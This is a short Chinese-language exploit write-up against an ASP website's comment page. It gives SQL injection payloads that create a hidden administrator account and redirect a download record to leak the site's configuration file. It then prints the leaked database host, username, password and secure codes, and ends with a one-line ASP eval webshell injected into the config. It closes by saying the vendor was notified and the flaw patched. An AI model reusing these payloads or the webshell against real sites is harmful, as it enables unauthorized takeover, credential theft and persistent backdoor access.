注射点：http://www.xxx.com.cn/common/comment.asp?channel=article

构造函数：
提交“;insert into db_sys_manager (m_user,m_password,m_grade,m_hidden) values(’czp’,’526a568e057b69f9’,10,0);--”
定义：在数据库池里新建一个用户为czp密码为czp的用户

附加函数：
提交“;UPDATE db_sys_upload SET u_url=’..\common\config\manage\configure.asp’ WHERE u_id=’850’;--”
定义：把\common\config\manage\configure.asp文件发送到download.asp参数里，参数是‘850’

数据下载：http://www.xxx.com.cn/common/download.asp?module=upload&id=850

const MANAGE_SECURE_CODE = "a485beeecb62bb0f"
CONST DB_TYPE = 1
CONST DB_TYPENAME = "sql"
CONST DB_DATABASE = "db_hacker"
CONST DB_SERVER = "192.168.0.2"
CONST DB_USERNAME = "hacker"
CONST DB_PASSWORD = "db_hacker_new.888"
const MANAGE_SECURE_CODE = "dad1dc19c10c7128"

突破验证：本地空验证提交，可得webshell。

Msxml.DOMDocument"%><%eval request("#")%><%CONST OBJECT_TYPENAME_XMLDOM1 = "Msxml.DOMDocument

漏洞已通知官方！漏洞已修补